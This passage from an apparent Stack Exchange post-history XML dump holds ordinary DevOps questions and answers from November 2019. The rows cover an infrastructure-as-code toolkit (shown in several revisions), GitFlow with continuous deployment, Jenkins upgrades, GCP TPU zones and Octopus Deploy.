the steps for&#xD;&#xA;&#xD;&#xA;1. building the application:&#xD;&#xA;1. Testing the application&#xD;&#xA;  1. Unit tests&#xD;&#xA;  1. Functional tests&#xD;&#xA;  1. Integration tests&#xD;&#xA;  1. (Regression tests)&#xD;&#xA;1. Building artifacts&#xD;&#xA;  1. building and signing artifacts&#xD;&#xA;  1. Shipping them to the artifactory, with new version info and other metadata&#xD;&#xA;1. Building instance images (if your application is &quot;installed&quot; in an environment, and not serverless).&#xD;&#xA;1. Enforcing changes to the Infrastructure (terraform plan/apply)&#xD;&#xA;1. Enforcing changes to the deployment configuration (capacity, _etc_)&#xD;&#xA;&#xD;&#xA;At the end of this stage, you'll have a properly configured environment (say, pre or prod), an artifact, and an image which you can deploy. If need be, you can run performance tests (with Taurus) or acceptance tests (with cucumber) on them with a job in Jenkins.&#xD;&#xA;&#xD;&#xA;## Deployment&#xD;&#xA;&#xD;&#xA;I would vote for a hard separation between the previous phase and this one. Deployment should be done with a different tool and the right tool for the job is in my opinion Spinnaker. The configuration for the deployment should be kept in the same repo as the application (so that developers can serve themselves). Deployments should be done on every change to the codebase, declaratively -- Spinnaker has a JSON syntax for this, making it easy to check consistency and correctness of the deployment scenario.&#xD;&#xA;&#xD;&#xA;## Monitoring, logging and analytics&#xD;&#xA;&#xD;&#xA;As mentioned before, Day 1 is a blank slate, but it is quickly dirtied. The DevOps doesn't stop on Day 2 (ie, when apps are deployed), and it would be wise to plan ahead.&#xD;&#xA;&#xD;&#xA;The SRE book gives good advice for instrumenting and monitoring the applications you will be deploying, but this space is very crowded with services and tools claiming solve your monitoring and alerting needs. Again going with the principle that we should be able to deploy anywhere, I would go with a Prometheus for indicator and metric extraction and Grafana for displaying setup. However, you should definitely consider this part wisely.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;So - the toolkit looks like:&#xD;&#xA;&#xD;&#xA;1. [Vault](https://www.vaultproject.io/) for secrets&#xD;&#xA;1. [GitHub](https://github.com/) for code, projects, tasks and issues&#xD;&#xA;1. [Slack](https://slack.com) for communication&#xD;&#xA;1. [Terraform](https://terraform.io) for infrastructure&#xD;&#xA;1. [Ansible](https://www.ansible.com) for configuration management&#xD;&#xA;1. [Packer](https://packer.io) for image baking&#xD;&#xA;1. [Quay](https://quay.io) for (docker) image registry&#xD;&#xA;1. [Inspec](https://inspec.io) for compliance and correctness of state&#xD;&#xA;1. [Cucumber](https://cucumber.io/) for Acceptance Testing&#xD;&#xA;1. [Jenkins](https://jenkins.io) for pipeline execution&#xD;&#xA;1. [Spinnaker](https://www.spinnaker.io/) for Deployment&#xD;&#xA;1. [Prometheus](https://prometheus.io) for metrics [Grafana](https://grafana.com/) for visualisation and dashboards&#xD;&#xA;1. [Taurus](http://gettaurus.org/) (Blazetool) for performance testing&#xD;&#xA;&#xD;&#xA;Is this a lot of tools? Yes.&#xD;&#xA;&#xD;&#xA;Will you be able to deploy anywhere? Also yes.&#xD;&#xA;&#xD;&#xA;Will you need **all** of them? probably not. Also, I've chosen tools which are mostly free to use and open source.&#xD;&#xA;&#xD;&#xA;**Also note:** in this scenario, the entire state of all applications can and should be represented as code, and can thus have semantic versioning (or other kind of versioning which makes sense to you). Any changes to that state can be represented by changes to the code, and can thus have good source code management principles applied to it, such as code review, automated testing, _etc_." ContentLicense="CC BY-SA 4.0" />
  <row Id="29056" PostHistoryTypeId="2" PostId="9718" RevisionGUID="9802682d-8c26-4384-a489-867552032bbb" CreationDate="2019-11-06T14:59:27.703" UserId="6356" Text="I am a big fan of saltstack, mainly because it provides a comprehensive solution regarding the whole server life cycle, unlike ansible which need another tool (such as terraform) to provision vms.&#xD;&#xA;&#xD;&#xA;salt + salt-cloud is one very good suite from my opinion.&#xD;&#xA;&#xD;&#xA;I do not see any differences regarding the amount of work required by either tool (chef, puppet, ansible, salt) to get a working IAC system in place, this is, of course, according to your language preference.&#xD;&#xA;If you're in python then go for salt or ansible, otherwise go check puppet or chef.&#xD;&#xA;Do not forget to plug your iac code base to a VCS." ContentLicense="CC BY-SA 4.0" />
  <row Id="29057" PostHistoryTypeId="5" PostId="9717" RevisionGUID="b2234eae-82ec-4313-b3f0-3bdd0ade47e1" CreationDate="2019-11-06T15:04:48.183" UserId="354" Comment="Add a link to the SRE book section" Text="This question runs two risks:&#xD;&#xA;&#xD;&#xA;1. of being marked as &quot;primarily opinion-based&quot;, and&#xD;&#xA;1. its answers might age poorly.&#xD;&#xA;&#xD;&#xA;However, I think it's useful to express an opinion, if only for posterity; if and when things change, there may be better answers -- but there will always be blank slates.&#xD;&#xA;&#xD;&#xA;I would split the problem up into three:&#xD;&#xA;&#xD;&#xA;1. Infrastructure&#xD;&#xA;1. Application Building, testing and integration&#xD;&#xA;1. Deployment&#xD;&#xA;1. Monitoring, logging and analytics&#xD;&#xA;&#xD;&#xA;Furthermore, let's make this cloud-independent (so, this toolkit should be valid for any or all of AWS, GCE, Azure _etc_, as well as on-prem OpenStack, Packet, etc).&#xD;&#xA;&#xD;&#xA;## Infrastructure&#xD;&#xA;&#xD;&#xA;Infrastructure components consist of &#xD;&#xA;&#xD;&#xA;1. Your environments (pre, prod, integration, testing, etc - however you define them). These should be built with Terraform modules.&#xD;&#xA;  1. Each module in its own repo&#xD;&#xA;  1. Consider carefully separation of state, so that you can easily create and destroy components and keep costs down&#xD;&#xA;&#xD;&#xA;1. &quot;DevOps&quot; infrastructure. This includes:&#xD;&#xA;  1. code repos&#xD;&#xA;  1. CI/CD instances (controller, agent pools, _etc_) - _e.g._ Jenkins master with cloud agent pools.&#xD;&#xA;  1. Deployment runners (see later). &#xD;&#xA;  1. Monitoring, logging and analytics.&#xD;&#xA;  Again, build these with terraform modules. As a example, have a Terraform module for each type of application or component.&#xD;&#xA;&#xD;&#xA;1. Team, messaging and support infrastructure. This is often overlooked, but choosing the right tool for the job on Day 2 is hard. It's better to communicate to the stakeholders how issues and change requests should be made. I would venture a combination of GitHub issues and Slack at the very least.&#xD;&#xA;1. secrets management. You will need to pass around a lot of secrets, if you want to foster collaboration. In order to do this securely, you will need a place to manage them and delegate access to and usage of them.&#xD;&#xA;&#xD;&#xA;## Building, testing, integration.&#xD;&#xA;&#xD;&#xA;These happen in Jenkins. Each application should contain a subdirectory `.pipeline` with the parts necessary to build it. The part which concerns us here is everything before prod.&#xD;&#xA;&#xD;&#xA;I would suggest a pipeline as code approach with a `Jenkinsfile` in the repo declaring the steps for&#xD;&#xA;&#xD;&#xA;1. building the application:&#xD;&#xA;1. Testing the application&#xD;&#xA;  1. Unit tests&#xD;&#xA;  1. Functional tests&#xD;&#xA;  1. Integration tests&#xD;&#xA;  1. (Regression tests)&#xD;&#xA;1. Building artifacts&#xD;&#xA;  1. building and signing artifacts&#xD;&#xA;  1. Shipping them to the artifactory, with new version info and other metadata&#xD;&#xA;1. Building instance images (if your application is &quot;installed&quot; in an environment, and not serverless).&#xD;&#xA;1. Enforcing changes to the Infrastructure (terraform plan/apply)&#xD;&#xA;1. Enforcing changes to the deployment configuration (capacity, _etc_)&#xD;&#xA;&#xD;&#xA;At the end of this stage, you'll have a properly configured environment (say, pre or prod), an artifact, and an image which you can deploy. If need be, you can run performance tests (with Taurus) or acceptance tests (with cucumber) on them with a job in Jenkins.&#xD;&#xA;&#xD;&#xA;## Deployment&#xD;&#xA;&#xD;&#xA;I would vote for a hard separation between the previous phase and this one. Deployment should be done with a different tool and the right tool for the job is in my opinion Spinnaker. The configuration for the deployment should be kept in the same repo as the application (so that developers can serve themselves). Deployments should be done on every change to the codebase, declaratively -- Spinnaker has a JSON syntax for this, making it easy to check consistency and correctness of the deployment scenario.&#xD;&#xA;&#xD;&#xA;## Monitoring, logging and analytics&#xD;&#xA;&#xD;&#xA;As mentioned before, Day 1 is a blank slate, but it is quickly dirtied. The DevOps doesn't stop on Day 2 (ie, when apps are deployed), and it would be wise to plan ahead.&#xD;&#xA;&#xD;&#xA;The SRE book gives [good advice for instrumenting and monitoring the applications](https://landing.google.com/sre/sre-book/chapters/service-level-objectives/) you will be deploying, but this space is very crowded with services and tools claiming solve your monitoring and alerting needs. Again going with the principle that we should be able to deploy anywhere, I would go with a Prometheus for indicator and metric extraction and Grafana for displaying setup. However, you should definitely consider this part wisely.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;So - the toolkit looks like:&#xD;&#xA;&#xD;&#xA;1. [Vault](https://www.vaultproject.io/) for secrets&#xD;&#xA;1. [GitHub](https://github.com/) for code, projects, tasks and issues&#xD;&#xA;1. [Slack](https://slack.com) for communication&#xD;&#xA;1. [Terraform](https://terraform.io) for infrastructure&#xD;&#xA;1. [Ansible](https://www.ansible.com) for configuration management&#xD;&#xA;1. [Packer](https://packer.io) for image baking&#xD;&#xA;1. [Quay](https://quay.io) for (docker) image registry&#xD;&#xA;1. [Inspec](https://inspec.io) for compliance and correctness of state&#xD;&#xA;1. [Cucumber](https://cucumber.io/) for Acceptance Testing&#xD;&#xA;1. [Jenkins](https://jenkins.io) for pipeline execution&#xD;&#xA;1. [Spinnaker](https://www.spinnaker.io/) for Deployment&#xD;&#xA;1. [Prometheus](https://prometheus.io) for metrics [Grafana](https://grafana.com/) for visualisation and dashboards&#xD;&#xA;1. [Taurus](http://gettaurus.org/) (Blazetool) for performance testing&#xD;&#xA;&#xD;&#xA;Is this a lot of tools? Yes.&#xD;&#xA;&#xD;&#xA;Will you be able to deploy anywhere? Also yes.&#xD;&#xA;&#xD;&#xA;Will you need **all** of them? probably not. Also, I've chosen tools which are mostly free to use and open source.&#xD;&#xA;&#xD;&#xA;**Also note:** in this scenario, the entire state of all applications can and should be represented as code, and can thus have semantic versioning (or other kind of versioning which makes sense to you). Any changes to that state can be represented by changes to the code, and can thus have good source code management principles applied to it, such as code review, automated testing, _etc_." ContentLicense="CC BY-SA 4.0" />
  <row Id="29059" PostHistoryTypeId="5" PostId="9717" RevisionGUID="8c188e2d-75ae-45c4-8b1b-851ea1f3660b" CreationDate="2019-11-06T15:19:16.217" UserId="354" Comment="Provide a link to packet.net" Text="This question runs two risks:&#xD;&#xA;&#xD;&#xA;1. of being marked as &quot;primarily opinion-based&quot;, and&#xD;&#xA;1. its answers might age poorly.&#xD;&#xA;&#xD;&#xA;However, I think it's useful to express an opinion, if only for posterity; if and when things change, there may be better answers -- but there will always be blank slates.&#xD;&#xA;&#xD;&#xA;I would split the problem up into four sections:&#xD;&#xA;&#xD;&#xA;1. Infrastructure&#xD;&#xA;1. Application Building, testing and integration&#xD;&#xA;1. Deployment&#xD;&#xA;1. Monitoring, logging and analytics&#xD;&#xA;&#xD;&#xA;Furthermore, let's make this cloud-independent (so, this toolkit should be valid for any or all of AWS, GCE, Azure _etc_, as well as on-prem OpenStack, bare metal cloud (e.g. [Packet](https://www.packet.com/), etc).&#xD;&#xA;&#xD;&#xA;## Infrastructure&#xD;&#xA;&#xD;&#xA;Infrastructure components consist of &#xD;&#xA;&#xD;&#xA;1. Your environments (pre, prod, integration, testing, etc - however you define them). These should be built with Terraform modules.&#xD;&#xA;  1. Each module in its own repo&#xD;&#xA;  1. Consider carefully separation of state, so that you can easily create and destroy components and keep costs down&#xD;&#xA;&#xD;&#xA;1. &quot;DevOps&quot; infrastructure. This includes:&#xD;&#xA;  1. code repos&#xD;&#xA;  1. CI/CD instances (controller, agent pools, _etc_) - _e.g._ Jenkins master with cloud agent pools.&#xD;&#xA;  1. Deployment runners (see later). &#xD;&#xA;  1. Monitoring, logging and analytics.&#xD;&#xA;  Again, build these with terraform modules. As a example, have a Terraform module for each type of application or component.&#xD;&#xA;&#xD;&#xA;1. Team, messaging and support infrastructure. This is often overlooked, but choosing the right tool for the job on Day 2 is hard. It's better to communicate to the stakeholders how issues and change requests should be made. I would venture a combination of GitHub issues and Slack at the very least.&#xD;&#xA;1. secrets management. You will need to pass around a lot of secrets, if you want to foster collaboration. In order to do this securely, you will need a place to manage them and delegate access to and usage of them.&#xD;&#xA;&#xD;&#xA;## Building, testing, integration.&#xD;&#xA;&#xD;&#xA;These happen in Jenkins. Each application should contain a subdirectory `.pipeline` with the parts necessary to build it. The part which concerns us here is everything before prod.&#xD;&#xA;&#xD;&#xA;I would suggest a pipeline as code approach with a `Jenkinsfile` in the repo declaring the steps for&#xD;&#xA;&#xD;&#xA;1. building the application:&#xD;&#xA;1. Testing the application&#xD;&#xA;  1. Unit tests&#xD;&#xA;  1. Functional tests&#xD;&#xA;  1. Integration tests&#xD;&#xA;  1. (Regression tests)&#xD;&#xA;1. Building artifacts&#xD;&#xA;  1. building and signing artifacts&#xD;&#xA;  1. Shipping them to the artifactory, with new version info and other metadata&#xD;&#xA;1. Building instance images (if your application is &quot;installed&quot; in an environment, and not serverless).&#xD;&#xA;1. Enforcing changes to the Infrastructure (terraform plan/apply)&#xD;&#xA;1. Enforcing changes to the deployment configuration (capacity, _etc_)&#xD;&#xA;&#xD;&#xA;At the end of this stage, you'll have a properly configured environment (say, pre or prod), an artifact, and an image which you can deploy. If need be, you can run performance tests (with Taurus) or acceptance tests (with cucumber) on them with a job in Jenkins.&#xD;&#xA;&#xD;&#xA;## Deployment&#xD;&#xA;&#xD;&#xA;I would vote for a hard separation between the previous phase and this one. Deployment should be done with a different tool and the right tool for the job is in my opinion Spinnaker. The configuration for the deployment should be kept in the same repo as the application (so that developers can serve themselves). Deployments should be done on every change to the codebase, declaratively -- Spinnaker has a JSON syntax for this, making it easy to check consistency and correctness of the deployment scenario.&#xD;&#xA;&#xD;&#xA;## Monitoring, logging and analytics&#xD;&#xA;&#xD;&#xA;As mentioned before, Day 1 is a blank slate, but it is quickly dirtied. The DevOps doesn't stop on Day 2 (ie, when apps are deployed), and it would be wise to plan ahead.&#xD;&#xA;&#xD;&#xA;The SRE book gives [good advice for instrumenting and monitoring the applications](https://landing.google.com/sre/sre-book/chapters/service-level-objectives/) you will be deploying, but this space is very crowded with services and tools claiming solve your monitoring and alerting needs. Again going with the principle that we should be able to deploy anywhere, I would go with a Prometheus for indicator and metric extraction and Grafana for displaying setup. However, you should definitely consider this part wisely.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;So - the toolkit looks like:&#xD;&#xA;&#xD;&#xA;1. [Vault](https://www.vaultproject.io/) for secrets&#xD;&#xA;1. [GitHub](https://github.com/) for code, projects, tasks and issues&#xD;&#xA;1. [Slack](https://slack.com) for communication&#xD;&#xA;1. [Terraform](https://terraform.io) for infrastructure&#xD;&#xA;1. [Ansible](https://www.ansible.com) for configuration management&#xD;&#xA;1. [Packer](https://packer.io) for image baking&#xD;&#xA;1. [Quay](https://quay.io) for (docker) image registry&#xD;&#xA;1. [Inspec](https://inspec.io) for compliance and correctness of state&#xD;&#xA;1. [Cucumber](https://cucumber.io/) for Acceptance Testing&#xD;&#xA;1. [Jenkins](https://jenkins.io) for pipeline execution&#xD;&#xA;1. [Spinnaker](https://www.spinnaker.io/) for Deployment&#xD;&#xA;1. [Prometheus](https://prometheus.io) for metrics [Grafana](https://grafana.com/) for visualisation and dashboards&#xD;&#xA;1. [Taurus](http://gettaurus.org/) (Blazetool) for performance testing&#xD;&#xA;&#xD;&#xA;Is this a lot of tools? Yes.&#xD;&#xA;&#xD;&#xA;Will you be able to deploy anywhere? Also yes.&#xD;&#xA;&#xD;&#xA;Will you need **all** of them? probably not. Also, I've chosen tools which are mostly free to use and open source.&#xD;&#xA;&#xD;&#xA;**Also note:** in this scenario, the entire state of all applications can and should be represented as code, and can thus have semantic versioning (or other kind of versioning which makes sense to you). Any changes to that state can be represented by changes to the code, and can thus have good source code management principles applied to it, such as code review, automated testing, _etc_." ContentLicense="CC BY-SA 4.0" />
  <row Id="29061" PostHistoryTypeId="52" PostId="9708" RevisionGUID="d2da529a-f0de-42a8-8327-f003e1842893" CreationDate="2019-11-06T16:54:36.467" />
  <row Id="29067" PostHistoryTypeId="10" PostId="9706" RevisionGUID="95371388-4843-4fd2-ba68-b2d5c10c9d6a" CreationDate="2019-11-07T08:36:36.803" UserId="210" Comment="105" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:7730,&quot;DisplayName&quot;:&quot;BMitch&quot;},{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="29071" PostHistoryTypeId="2" PostId="9719" RevisionGUID="6b9e613c-aa04-4a54-9275-705285df0538" CreationDate="2019-11-07T09:08:44.343" UserId="18049" Text="Firstly, I apologize if the title is not descriptive enough or does not describe my problem well enough. I'm struggling to figure out how to describe my issue in brief! It really seems like this should be a problem that has been solved already, but I'm struggling to find the answer. I might be missing something glaringly obvious!!&#xD;&#xA;&#xD;&#xA;So - we currently have a Git workflow on GitLab using 3 core branches (master, preprod and develop). We branch features off from develop, then back into develop for initial testing. Merging into develop triggers a pipeline that tests, builds and deploys to a dev server, so that Project Owners can review code in progress. Once signed off, the develop branch gets merged to preprod, which also triggers a pipeline to deploy to our UAT environment for... UAT. Once signed off, preprop gets merged to master which has a manually triggered pipeline to deploy to live.&#xD;&#xA;&#xD;&#xA;Bunch of issues with this approach, but the biggest is the bottle neck. If we have a feature in preprod that we don't want to release yet, but another feature is coming up behind it, it's tricky to bypass the feature we don't yet want. So we are considering moving to a different branching strategy such as GitFlow.&#xD;&#xA;&#xD;&#xA;Now on to the bit I can't figure out! Currently, in order to deploy a feature to an environment where it can be viewed and tested, we have pipelines triggered by a merge to specific branches. However, I would like to do away with this approach when testing features and hotfixes. Essentially, I need a way to be able to run a pipeline that will run automated tests, build and deploy any branch at any time. So if I am working on FeatureA, I can push that branch to GitLab and deploy it somewhere so that it can be reviewed in isolation from FeatureB that is being worked on by a colleague. Does that make sense? Almost like a dynamic pipeline with a dynamic environment that spins up when needed and gets destroyed again when no longer needed.&#xD;&#xA;&#xD;&#xA;If anyone can point me in the right direction here, it would be appreciated!&#xD;&#xA;&#xD;&#xA;Should also add that we are starting to use docker on our local machines for development, so a solution that uses docker for spinning up dynamic test environments is not out of the question.&#xD;&#xA;&#xD;&#xA;Thanks in advance..." ContentLicense="CC BY-SA 4.0" />
  <row Id="29072" PostHistoryTypeId="1" PostId="9719" RevisionGUID="6b9e613c-aa04-4a54-9275-705285df0538" CreationDate="2019-11-07T09:08:44.343" UserId="18049" Text="Combining CD and GitFlow" ContentLicense="CC BY-SA 4.0" />
  <row Id="29073" PostHistoryTypeId="3" PostId="9719" RevisionGUID="6b9e613c-aa04-4a54-9275-705285df0538" CreationDate="2019-11-07T09:08:44.343" UserId="18049" Text="&lt;docker&gt;&lt;gitlab&gt;&lt;continuous-deployment&gt;&lt;cicd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29074" PostHistoryTypeId="2" PostId="9720" RevisionGUID="98b61dff-c686-445e-a896-0ac8abf79d35" CreationDate="2019-11-07T10:16:19.957" UserId="13311" Text="I've gained some experience from f-n up Jenkins a lot of times, here is order I kept sticking to and it saved me a lot of time:&#xD;&#xA;&#xD;&#xA; 1. Upgrade Jenkins itself (if needed)&#xD;&#xA; 2. Upgrade Auth plugins (i.e. Github org auth) &#xD;&#xA; 3. Upgrade plugins related to most important pipelines/projects (ssh-agents, ansible, k8s, docker, whatever you guys are using)&#xD;&#xA; 4. Upgrade currently used but not mission-critical plugins (blue-ocean etc.)&#xD;&#xA; 5. Upgrade the rest of plugins&#xD;&#xA;&#xD;&#xA;I had 'after-upgrade' pipeline that would start build of few most important projects, it was running after each step. &#xD;&#xA;&#xD;&#xA;What helped me a lot as well is taking snapshots in between of upgrades so I could do rollback easily and do not start from the beginning which could be time consuming. Obviously I do not recommend doing in-place upgrades, I always go for 1:1 copy and working on copy and then I just change DNS record. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="29075" PostHistoryTypeId="2" PostId="9721" RevisionGUID="e85eb0e1-7e0b-4bb5-860e-71a4cac56b02" CreationDate="2019-11-07T14:44:50.777" UserId="1202" Text="**Conflating** *deployment environments* and *branches* often leads to problems like you describe.  It does seem like a natural fit though and easily maps to mental model of an ideal solution but, real life is anything but ideal.&#xD;&#xA;&#xD;&#xA;Basically, git is not a deployment tool, one should not *clone* to deploy a version but fetch a package (a tarball, zip file, docker container, NPM package etc).&#xD;&#xA;&#xD;&#xA;In practice these two concepts are orthogonal.  Branching strategies (whichever it may be, [gitflow][1], [trunk based][2] etc) is a means to assist developers isolating and sharing their work.  It ties naturally to the versioning strategy and is what forms the CI half of your CI/CD system.  Here you must force yourself to keep CI (continuous integration) separate from CD (continuous deployment) as you will see if you read-on. &#xD;&#xA;&#xD;&#xA;**Deployment** however *consumes* the outcome of *versions* that were created and integrates various parts of the system and makes a whole that is usable, testable.&#xD;&#xA;&#xD;&#xA;So if you view your branches and the code therein as a means to assemble a version which the build system will build and package and then store it somewhere.  Can be as simple as a network share or FTP site or it could tie in to an existing package manager with a appropriate back end, whatever suits your team best really.  This choice will depends greatly on the technology stack you are using and the underlying platforms you will be deploying to (static environments, docker, kubernetes, standalone copy-and-run etc).&#xD;&#xA;&#xD;&#xA;Then another set of tasks can pull in any of these versions and assemble a working deployment.  Here this works best if your deployment environment are dynamic but it can be made to work with static environments as well.  This will form the CD part of your continuous system.&#xD;&#xA;&#xD;&#xA;Once decoupled you can spin up an environment that would contain *any* versions that has been previously built.&#xD;&#xA;&#xD;&#xA;In term you could even have *multiple* production environments with slight variations of a user interface tweaks and pit them against each-other with techniques like A/B testing and clever load balancing / distribution to end-users.&#xD;&#xA;&#xD;&#xA;Going back to your particular situation it will simplify your gitflow back to a more traditional master/develop permanent branches and a set of features/hotfix and release branches.&#xD;&#xA;&#xD;&#xA;Using [semver][3] you can keep official versions strictly for master merges (from release branches or hotfix branches) and pre-release versions for all other branches.  for your pre-release branches simply add a -SOMETHING where something is the name of the branch for example and possibly a timestamp to differentiate successive deployments.&#xD;&#xA;&#xD;&#xA;for example, &#xD;&#xA;&#xD;&#xA;* release branches would get the x.y.0-RCi (i th release candidate). x.y is the version that will be released where the -RC is simply dropped when merged in master.  0 as the patch because release branches are used for new features and product evolution&#xD;&#xA;* hotfix branch follow the same principle as the release branch except the patch number is set to a non-zero value.&#xD;&#xA;* development branch could get x.y.z-dev.timestamp&#xD;&#xA;* feature branch x.y.z-JiraID-timestamp.  Where JiraID is the ticket number of the system you use to track new features (like Jira, Bugzilla, etc)&#xD;&#xA;&#xD;&#xA;I propose semantic versioning here because I am familiar with it but the same broad principle of segregating branches through versioning can be applied with pretty much any versioning scheme.&#xD;&#xA;&#xD;&#xA;Nowhere in the source control do you see anything that relates to deployment environment.  Only your versioning strategy is what links them, they are otherwise completely isolated and independent.&#xD;&#xA;&#xD;&#xA;Your devs will feel more comfortable in this new environment and your deployments will feel less constrained and awkward.&#xD;&#xA;&#xD;&#xA;Hope this helps&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://nvie.com/posts/a-successful-git-branching-model/&#xD;&#xA;  [2]: https://trunkbaseddevelopment.com/&#xD;&#xA;  [3]: https://semver.org/" ContentLicense="CC BY-SA 4.0" />
  <row Id="29076" PostHistoryTypeId="50" PostId="5691" RevisionGUID="3c692e56-8a6a-45a7-8d47-581cbd5a7f19" CreationDate="2019-11-07T15:03:00.373" UserId="-1" />
  <row Id="29077" PostHistoryTypeId="2" PostId="9722" RevisionGUID="f4d2393b-83a4-4cff-b00b-8a3faea496cb" CreationDate="2019-11-07T15:50:51.640" UserId="11474" Text="I'my trying to create a tpu for my vm instance [from this tutorial][1] but get this error message:&#xD;&#xA;```&#xD;&#xA;ERROR: (gcloud.compute.tpus.create) PERMISSION_DENIED: Location europe-west1-b is not found or access is unauthorized.&#xD;&#xA;```&#xD;&#xA;I have enabled all of the access the vm can have but i still have this error.&#xD;&#xA;&#xD;&#xA;Thanks for the help&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/tpu/docs/tutorials/transformer-pytorch" ContentLicense="CC BY-SA 4.0" />
  <row Id="29078" PostHistoryTypeId="1" PostId="9722" RevisionGUID="f4d2393b-83a4-4cff-b00b-8a3faea496cb" CreationDate="2019-11-07T15:50:51.640" UserId="11474" Text="GCP - Can't create a tpu on europe-west1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29079" PostHistoryTypeId="3" PostId="9722" RevisionGUID="f4d2393b-83a4-4cff-b00b-8a3faea496cb" CreationDate="2019-11-07T15:50:51.640" UserId="11474" Text="&lt;google-cloud-platform&gt;&lt;gcp&gt;&lt;google-compute-engine&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29080" PostHistoryTypeId="2" PostId="9723" RevisionGUID="4a0c8524-4bc1-4707-9488-96205ed168ca" CreationDate="2019-11-07T16:08:50.730" UserId="397" Text="According to [&quot;TPU types and zones&quot;][1] TPUs are only available in a very limited set of regions, namely:&#xD;&#xA;&#xD;&#xA; - **Europe, Middle East and Africa**&#xD;&#xA;  - europe-west4-a (Eemshaven, Netherlands)&#xD;&#xA; - **Americas**&#xD;&#xA;  - us-central1-a, b, c and f (Council Bluffs, Iowa, USA)&#xD;&#xA; - **Asia-Pacific**&#xD;&#xA;  - asia-east1-c (Changhua County, Taiwan)&#xD;&#xA;&#xD;&#xA;*Note: not every SKU is available in each region, so double check the above page when planning your deployments.*&#xD;&#xA;&#xD;&#xA;In addition to specifying a valid zone, you will need to make sure the [TPU API][2] is enabled, and your account has the relevant IAM permissions: Cloud TPU\TPU Admin.&#xD;&#xA;&#xD;&#xA;At the moment TPUs are predominantly designed for centralised data processing rather than close-to-edge processing. Hence the somewhat limited number of locations TPUs are available within.&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/tpu/docs/types-zones&#xD;&#xA;  [2]: https://console.cloud.google.com/apis/library/tpu.googleapis.com" ContentLicense="CC BY-SA 4.0" />
  <row Id="29081" PostHistoryTypeId="2" PostId="9724" RevisionGUID="36c5f23d-f5af-4f67-9469-988369a2d3ea" CreationDate="2019-11-07T17:01:21.947" UserId="397" Text="Strictly you can't do this with a single preemptable virtual machine as you only get a 30 second grace period. While the majority of calls to the Google Compute Engine API would create a new device within 30 seconds, there are cases when this would fail due to network latency or temporary outage.&#xD;&#xA;&#xD;&#xA;What you can do is create an [Instance Group of Preemptible Virtual Machines][1] with a minimum of two instances, the probability of GCE killing both at precisely the same time is quite low, and once GCE destroys one a new one will be created to bring the IG instance count back up to two.&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/compute/docs/instance-groups/#groups_of_preemptible_instances" ContentLicense="CC BY-SA 4.0" />
  <row Id="29082" PostHistoryTypeId="5" PostId="9680" RevisionGUID="6a2067f5-ee47-4985-b0c2-71bd20566f30" CreationDate="2019-11-07T17:07:30.763" UserId="397" Comment="Formatting, inline variable." Text="I have a multi-configuration web application I'm using parallel deployments, leveraging Task Groups for reusing my deployment code.&#xD;&#xA;&#xD;&#xA;I've been using Powershell tasks and the `##vso[task.setvariable variable]` but those only are readable by other tasks (particularly non-PowerShell tasks) if they correspond to top-level variables at the Build/Release level.  Variables that are only local to the task-group.&#xD;&#xA;&#xD;&#xA;Basically, the behavior described in [Issue #3116][1]&#xD;&#xA;&#xD;&#xA;Does anybody have a better workaround for this issue besides binding all your variables right to the root with identical names?&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/Microsoft/azure-pipelines-tasks/issues/3116" ContentLicense="CC BY-SA 4.0" />
  <row Id="29083" PostHistoryTypeId="2" PostId="9725" RevisionGUID="b52f1e6e-bd4e-445c-9906-5a6e93c3082b" CreationDate="2019-11-07T17:15:29.060" UserId="397" Text="I'm not sure my approach is any &quot;better&quot;. However, what I have done in the past was to use Table Storage or Cosmos DB to store the key-value pairs that needed to be persisted between each stage.&#xD;&#xA;&#xD;&#xA;The general schema was:&#xD;&#xA;&#xD;&#xA; - **Key**: *buildNum-variableName* &#xD;&#xA; - **Value**: *variableValue*&#xD;&#xA;&#xD;&#xA;I then created various wrappers for the SDK to access from PowerShell and MSBuild, this also enabled chaining multiple builds together to create a CI/CD pipeline." ContentLicense="CC BY-SA 4.0" />
  <row Id="29084" PostHistoryTypeId="2" PostId="9726" RevisionGUID="03842654-54ea-4434-8d15-ab19d7a103d2" CreationDate="2019-11-07T17:25:15.167" UserId="8164" Text="I'm tasked with setting up CI/CD for my company. I'm using TeamCity which I have configured using the Octopus Deploy plugin to create a Nuget package to the appropriate dev server (alternatively, I can have TeamCity spit out a .zip). &#xD;&#xA;&#xD;&#xA;The package itself is a solution that contains several projects, and each project needs to be deployed to different folders on IIS. Is this something that I can accomplish with Octopus Deploy, and if so how? &#xD;&#xA;&#xD;&#xA;I've looked through the documentation and spent a lot of time Googling but I haven't found an example of someone doing this but I want to use Octopush Deploy because of the reporting and flexibility it provides (since I will need to set up pipelines to other environments in the future).&#xD;&#xA;&#xD;&#xA;Any assistance provided or links to resources is deeply appreciated.&#xD;&#xA;&#xD;&#xA;Kind regards." ContentLicense="CC BY-SA 4.0" />
  <row Id="29085" PostHistoryTypeId="1" PostId="9726" RevisionGUID="03842654-54ea-4434-8d15-ab19d7a103d2" CreationDate="2019-11-07T17:25:15.167" UserId="8164" Text="On-Site Octopus Deploy - How to deploy a projects in a multi-project solution to different IIS locations" ContentLicense="CC BY-SA 4.0" />
  <row Id="29086" PostHistoryTypeId="3" PostId="9726" RevisionGUID="03842654-54ea-4434-8d15-ab19d7a103d2" CreationDate="2019-11-07T17:25:15.167" UserId="8164" Text="&lt;continuous-deployment&gt;&lt;teamcity&gt;" ContentLicense="CC BY-SA 4.0" />
